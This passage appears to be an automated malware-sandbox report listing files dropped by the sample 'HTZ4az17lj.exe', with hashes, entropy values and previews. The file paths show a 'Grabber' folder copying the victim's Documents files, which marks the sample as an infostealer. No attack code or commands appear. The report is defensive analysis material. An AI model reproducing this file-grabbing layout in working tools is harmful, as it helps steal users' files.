Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\EEGWXUHVUG.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\EEGWXUHVUG.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Music\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5258560106596737
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qml3lDmo0qmZclLwr2FlDmo0IWUol94klrgl2FlDmo0qjKAZY:QCGwv4o0x34o02lLwiF4o0ZvbUsF4o0Z
MD5:	06E8F7E6DDD666DBD323F7D9210F91AE
SHA1:	883AE527EE83ED9346CD82C33DFC0EB97298DC14
SHA-256:	8301E344371B0753D547B429C5FE513908B1C9813144F08549563AC7F4D7DA68
SHA-512:	F7646F8DCD37019623D5540AD8E41CB285BCC04666391258DBF4C42873C4DE46977A4939B091404D8D86F367CC31E36338757A776A632C7B5BF1C6F28E59AD98
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.0.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.0.8.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.7.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.ini

Download File

